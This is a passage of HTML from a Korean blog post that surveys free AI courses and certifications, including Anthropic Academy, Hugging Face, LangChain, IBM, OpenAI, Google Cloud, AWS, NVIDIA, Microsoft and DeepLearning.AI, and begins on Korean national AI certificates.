&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;개발자&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;MCP 서버 심화 구축&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;Introduction to Agent Skills&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;개발자&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;에이전트 스킬 구축&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot; rowspan=&quot;5&quot;&gt;&lt;b&gt;AI Fluency&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;Claude 101&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;전체&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;Claude 기본 사용법, 프롬프팅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;AI Fluency: Framework &amp;amp; Foundations&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;비개발자&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;AI 활용 방법론 체계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;AI Fluency for Educators&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;교육자&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;교육 현장 AI 도입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;AI Fluency for Students&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;학생&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;학업에서 AI 윤리적 활용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;Teaching AI Fluency&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;교육자&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;AI 유창성 교육 방법&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot; rowspan=&quot;3&quot;&gt;&lt;b&gt;Product&lt;br /&gt;Training&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;AI Fluency for Nonprofits&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;비영리단체&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;비영리 업무 AI 활용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;Claude with Amazon Bedrock&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;기업 개발자&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;AWS 환경 Claude 통합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;Claude with Google Cloud's Vertex AI&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;기업 개발자&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;GCP 환경 Claude 통합&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic Academy에 대한 상세 코스 분석은 별도 포스트를 참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goddaehee.tistory.com/533&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic Academy 가이드 &amp;mdash; Claude Code 무료로 배우는 공식 AI 교육 플랫폼&lt;/a&gt;&lt;/p&gt;
&lt;!-- 3-2: Hugging Face --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;② Hugging Face &amp;mdash; 오픈소스 AI의 모든 것, 다수 코스 무료&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 정보&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &lt;b&gt;URL:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://huggingface.co/learn&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;huggingface.co/learn&lt;/a&gt;&lt;br /&gt;&amp;bull; &lt;b&gt;비용:&lt;/b&gt; 전 코스 무료&lt;br /&gt;&amp;bull; &lt;b&gt;수료증:&lt;/b&gt; 수료증 발급 (비공식, LinkedIn 등록 가능)&lt;br /&gt;&amp;bull; &lt;b&gt;코스 수:&lt;/b&gt; 다수 (LLM, MCP, Agents, Deep RL, CV, Audio 등)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;오픈소스 AI 커뮤니티의 중심인 Hugging Face가 제공하는 다수의 무료 코스다. LLM, MCP, AI 에이전트, 강화학습, 컴퓨터 비전, 오디오 AI까지 다루며, &lt;b&gt;실제 모델을 코드로 만드는 실습 위주&lt;/b&gt;로 구성되어 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;LLM Course&lt;/b&gt; &amp;mdash; Transformers, Datasets, Tokenizers, Accelerate 기반 LLM 개발&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;MCP Course&lt;/b&gt; &amp;mdash; Model Context Protocol 실습 (Anthropic 표준)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Agents Course&lt;/b&gt; &amp;mdash; AI 에이전트 구축&amp;middot;배포 end-to-end&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Deep RL Course&lt;/b&gt; &amp;mdash; 심층 강화학습 이론 + 실습&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Computer Vision Course&lt;/b&gt; &amp;mdash; 이미지 분류, 객체 탐지, 생성형 CV&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Audio Course&lt;/b&gt; &amp;mdash; 오디오 데이터 트랜스포머 기반 처리&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Open-Source AI Cookbook&lt;/b&gt; &amp;mdash; 실전 사용 가능한 Jupyter Notebook 모음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;ML for Games Course&lt;/b&gt; &amp;mdash; 게임 AI 통합&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Diffusion Course&lt;/b&gt; &amp;mdash; 확산 모델로 이미지&amp;middot;오디오 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;누구에게 추천하는가?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;개발자 중에서도 &lt;b&gt;오픈소스 모델을 직접 다루고 싶은 사람&lt;/b&gt;에게 최적이다. Hugging Face 모델 허브에 올라온 수천 개 모델을 실제로 다운로드하고 파인튜닝하는 경험을 무료로 쌓을 수 있지 않을까?&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 3-3: LangChain Academy --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;③ LangChain Academy &amp;mdash; AI 에이전트 특화, 무료&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 정보&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &lt;b&gt;URL:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://academy.langchain.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;academy.langchain.com&lt;/a&gt;&lt;br /&gt;&amp;bull; &lt;b&gt;비용:&lt;/b&gt; 무료&lt;br /&gt;&amp;bull; &lt;b&gt;수료증:&lt;/b&gt; 무료 수료증 발급&lt;br /&gt;&amp;bull; &lt;b&gt;소요시간:&lt;/b&gt; 코스별 상이 (Foundation, Quickstart, Project 트랙 등)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI 에이전트 개발 프레임워크의 사실상 표준인 LangChain/LangGraph를 만든 회사가 직접 제공하는 교육이다. 단순 LLM 호출을 넘어 &lt;b&gt;복잡한 멀티스텝 에이전트 워크플로우&lt;/b&gt;를 설계하는 방법을 다룬다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;LangGraph 에이전트 아키텍처 설계&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;고급 에이전트 패턴 (멀티에이전트, 인터럽트 가능 에이전트)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;LangSmith를 활용한 에이전트 관측성(Observability)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Deep Agent &amp;mdash; 장기 실행 복합 태스크 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 3-4: IBM SkillsBuild --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;④ IBM SkillsBuild &amp;mdash; 1,000+ 코스 무료, Credly 배지로 LinkedIn 등록&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 정보&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &lt;b&gt;URL:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://skillsbuild.org&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;skillsbuild.org&lt;/a&gt;&lt;br /&gt;&amp;bull; &lt;b&gt;비용:&lt;/b&gt; 무료 (회원가입만 필요)&lt;br /&gt;&amp;bull; &lt;b&gt;수료증:&lt;/b&gt; Credly 디지털 배지 발급 &amp;rarr; LinkedIn 직접 등록 가능&lt;br /&gt;&amp;bull; &lt;b&gt;대상:&lt;/b&gt; 성인 학습자, 대학생, 재향군인&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;IBM이 무료로 제공하는 1,000개 이상의 코스 중 AI 관련 코스를 선택해 수강하면 &lt;b&gt;Credly 플랫폼의 IBM 디지털 배지&lt;/b&gt;를 받는다. Credly 배지는 LinkedIn, 이력서, 포트폴리오에 바로 추가할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;주요 AI 학습 경로: Artificial Intelligence Fundamentals &amp;rarr; Generative AI &amp;rarr; Machine Learning 순서로 이수하면 체계적으로 AI 기초를 완성할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 3-5: OpenAI Academy --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;⑤ OpenAI Academy &amp;mdash; 콘텐츠 무료, 인증 파일럿 진행 중&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;현재 상태 (2026년 3월 기준)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &lt;b&gt;URL:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://academy.openai.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;academy.openai.com&lt;/a&gt;&lt;br /&gt;&amp;bull; &lt;b&gt;콘텐츠:&lt;/b&gt; 무료 (가입 후 수강 가능)&lt;br /&gt;&amp;bull; &lt;b&gt;인증:&lt;/b&gt; 기업&amp;middot;교육기관 파트너 대상 파일럿 중 (교사용 ChatGPT Foundations는 Coursera에서 공개), 일반 개인 인증 전면 개방 시점 미확정&lt;br /&gt;&amp;bull; &lt;b&gt;목표:&lt;/b&gt; 2030년까지 미국인 1,000만 명 인증 (글로벌 확대 예정)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI가 2025년 3월 25일 온라인 허브로 전면 확장한 교육 플랫폼이다. ChatGPT, GPTs, Multimodality, Sora, 실시간 AI 앱 구축 등 OpenAI 생태계 중심의 콘텐츠를 제공한다. 인증 프로그램은 3단계(Basic AI Fluency &amp;rarr; AI-Enabled Work &amp;rarr; Advanced Prompt Engineering)로 구성되어 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;현재는 &lt;b&gt;학습 콘텐츠만 무료&lt;/b&gt;이고 개인 대상 공식 인증서 발급은 준비 중이다. Anthropic Academy와 달리 아직 전 세계 일반인에게 공개된 수료증 시스템이 없으므로, &lt;b&gt;지금 당장 수료증이 필요하다면 Anthropic Academy나 IBM SkillsBuild를 먼저 이용&lt;/b&gt;하는 것을 권장한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 3-6: Google Cloud Skills Boost --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;⑥ Google Cloud Skills Boost &amp;mdash; Skill Badge, 클라우드 AI 실습&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 정보&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &lt;b&gt;URL:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.cloudskillsboost.google&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;cloudskillsboost.google&lt;/a&gt;&lt;br /&gt;&amp;bull; &lt;b&gt;비용:&lt;/b&gt; 다수 코스 무료 (일부 실습 랩은 크레딧 필요)&lt;br /&gt;&amp;bull; &lt;b&gt;수료증:&lt;/b&gt; Skill Badge &amp;rarr; LinkedIn 추가 가능&lt;br /&gt;&amp;bull; &lt;b&gt;주요 과정:&lt;/b&gt; Introduction to Generative AI, Gemini Enterprise, Gemini Code Assist, Responsible AI 등&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Google Cloud의 AI/ML 서비스(Vertex AI, Gemini, BigQuery ML 등)를 직접 실습하며 배울 수 있다. 특히 &lt;b&gt;실제 클라우드 환경에서 핸즈온 랩&lt;/b&gt;을 제공한다는 점이 차별화 포인트다. AWS나 GCP 관련 직무를 희망한다면 이 Skill Badge들이 직접적인 증거가 된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;별도 참고:&lt;/b&gt; Google AI Essentials(Coursera)는 약 10시간짜리 비기술 직군용 입문 과정으로, Financial Aid 신청 시 무료로 Google 공식 수료증을 받을 수 있다. 단, Financial Aid 승인까지 시간이 걸릴 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 3-7: AWS Skill Builder --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;⑦ AWS Skill Builder &amp;mdash; 600+ 무료 코스, 한국어 시험 가능&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 정보&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &lt;b&gt;URL:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://skillbuilder.aws&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;skillbuilder.aws&lt;/a&gt;&lt;br /&gt;&amp;bull; &lt;b&gt;무료 코스:&lt;/b&gt; 600개 이상 (게임형&amp;middot;시뮬레이션형 포함)&lt;br /&gt;&amp;bull; &lt;b&gt;AI 자격증 시험:&lt;/b&gt; AWS Certified AI Practitioner (AIF-C01), $100, &lt;b&gt;한국어 시험 가능&lt;/b&gt;&lt;br /&gt;&amp;bull; &lt;b&gt;특전:&lt;/b&gt; 불합격 시 무료 재시험 프로모션 (2026.2.15까지 응시 &amp;rarr; 3.31까지 무료 재시험, 종료 가능성 있으므로 공식 사이트 확인)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;채용 공고 증가율 &lt;b&gt;AWS +1,778%&lt;/b&gt;에서 보듯, 클라우드 AI 역량은 이제 필수다. 무료 코스로 공부한 뒤 &lt;b&gt;AWS Certified AI Practitioner ($100)&lt;/b&gt; 자격증을 취득하면 클라우드 AI 역량을 공식적으로 증명할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;주요 무료 코스: Introduction to Generative AI - Art of the Possible, Essentials of Prompt Engineering, Amazon Bedrock - Getting Started, AWS Cloud Quest: Generative AI Practitioner (게임 기반)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 3-8: NVIDIA DLI --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;⑧ NVIDIA Deep Learning Institute &amp;mdash; GPU 실습 환경 무료 제공&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 정보&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &lt;b&gt;URL:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.nvidia.com/en-us/training/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;nvidia.com/training&lt;/a&gt;&lt;br /&gt;&amp;bull; &lt;b&gt;무료 코스:&lt;/b&gt; 기초 코스 일부 영구 무료 (이벤트 기간 추가 무료)&lt;br /&gt;&amp;bull; &lt;b&gt;유료 코스:&lt;/b&gt; 8시간 심화 과정, 수료 시 DLI 인증서 발급&lt;br /&gt;&amp;bull; &lt;b&gt;특징:&lt;/b&gt; 로컬 GPU 없어도 클라우드 기반 GPU 실습 환경 제공&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;딥러닝&amp;middot;LLM&amp;middot;RAG를 &lt;b&gt;실제 GPU 환경에서 직접 돌려보고 싶은 개발자&lt;/b&gt;에게 최적이다. 주요 무료 코스: Augment Your LLMs Using RAG, Building RAG Agents with LLMs (Gradio, LangChain, LangServe). 참고: Getting Started with Deep Learning은 유료($90)이나 이벤트 기간 무료 제공되는 경우가 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;NVIDIA 인증 프로그램&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &lt;b&gt;NCA-GENL&lt;/b&gt; (Generative AI LLMs Associate): $125, 입문 레벨&lt;br /&gt;&amp;bull; &lt;b&gt;NCP&lt;/b&gt; (Professional): 2026년 런칭 예정&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 3-9: Microsoft --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;⑨ Microsoft &amp;mdash; Copilot Studio Agent Academy 무료 + AI 인증 도전&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 정보&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &lt;b&gt;Copilot Studio Agent Academy:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://microsoft.github.io/agent-academy/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;microsoft.github.io/agent-academy&lt;/a&gt; &amp;mdash; 무료&lt;br /&gt;&amp;bull; &lt;b&gt;Microsoft Learn:&lt;/b&gt; AI 학습 모듈 무료 (시험은 유료 &amp;mdash; AI-900 약 $99,&amp;nbsp; 2026년 6월 30일 은퇴 예정)&lt;br /&gt;&amp;bull; &lt;b&gt;Applied Skills:&lt;/b&gt; 사내 AI 에이전트 구축, 보고서 생성 등 직무 역량 증명 (무료)&lt;br /&gt;&amp;bull; &lt;b&gt;GitHub Copilot 인증 GH-300:&lt;/b&gt; 학습 무료, 시험 유료 (2026년 1월 내용 대폭 개정)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Microsoft Learn에서 무료로 AI 모듈을 이수한 후 &lt;b&gt;Applied Skills&lt;/b&gt;로 직무 역량을 증명하는 방식이 가장 실용적이다. AI-900(Azure AI Fundamentals)은 한국어 시험이 가능하며, Microsoft Virtual Training Day 이벤트 기간에 무료 바우처가 제공되는 경우도 있다. 단, &lt;b&gt;AI-900은 2026년 6월 30일 은퇴 예정&lt;/b&gt;이므로 응시 계획이 있다면 서둘러야 한다 (공식 사이트에서 확인 필요).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 3-10: DeepLearning.AI --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;⑩ DeepLearning.AI &amp;mdash; Andrew Ng의 1~2시간 핵심 코스 무료&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 정보&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &lt;b&gt;URL:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.deeplearning.ai/courses/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;deeplearning.ai/courses&lt;/a&gt;&lt;br /&gt;&amp;bull; &lt;b&gt;Short Courses:&lt;/b&gt; 무료, 1~2시간, 신용카드 불필요&lt;br /&gt;&amp;bull; &lt;b&gt;수료증:&lt;/b&gt; 수료증 발급 (비공식, LinkedIn 등록 가능)&lt;br /&gt;&amp;bull; &lt;b&gt;파트너:&lt;/b&gt; OpenAI, Anthropic, Google, AWS, LangChain 등 협업 코스&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI 분야 최고 강사 중 한 명인 Andrew Ng이 이끄는 플랫폼이다. 1~2시간짜리 Short Course가 무료로 제공되며, RAG 구축, 프롬프트 엔지니어링, LLM 파인튜닝, 멀티에이전트 시스템 등 &lt;b&gt;빠르게 핵심만 배울 수 있는 코스&lt;/b&gt;가 많다. 긴 커리큘럼이 부담스러울 때 특정 기술을 빠르게 검증하기 좋다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: 한국 국가공인 자격증 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 한국 국가공인 AI 자격증 현황&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;글로벌 수료증이 포트폴리오를 채워준다면, &lt;b&gt;한국 국가공인 자격증은 공기업&amp;middot;대기업 서류에서 가점&lt;/b&gt;을 준다. 두 트랙을 함께 가져가는 게 최선이다.&lt;/p&gt;
&lt;!-- AICE --&gt;
&lt;div style=&quot;background-color: #f3e5f5; border-left: 4px solid #9c27b0; padding: 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #6a1b9a; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;AICE (AI Certificate for Everyone) &amp;mdash; AI 분야 유일 국가공인&lt;/h4&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;주관:&lt;/b&gt; KT 개발, 한국경제신문 공동 주관&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;등급:&lt;/b&gt; Future(초등) &amp;rarr; Junior(중고등) &amp;rarr; Basic(비전공) &amp;rarr; Associate(국가공인) &amp;rarr; Professional(전문가) 5단계&lt;/li&gt;
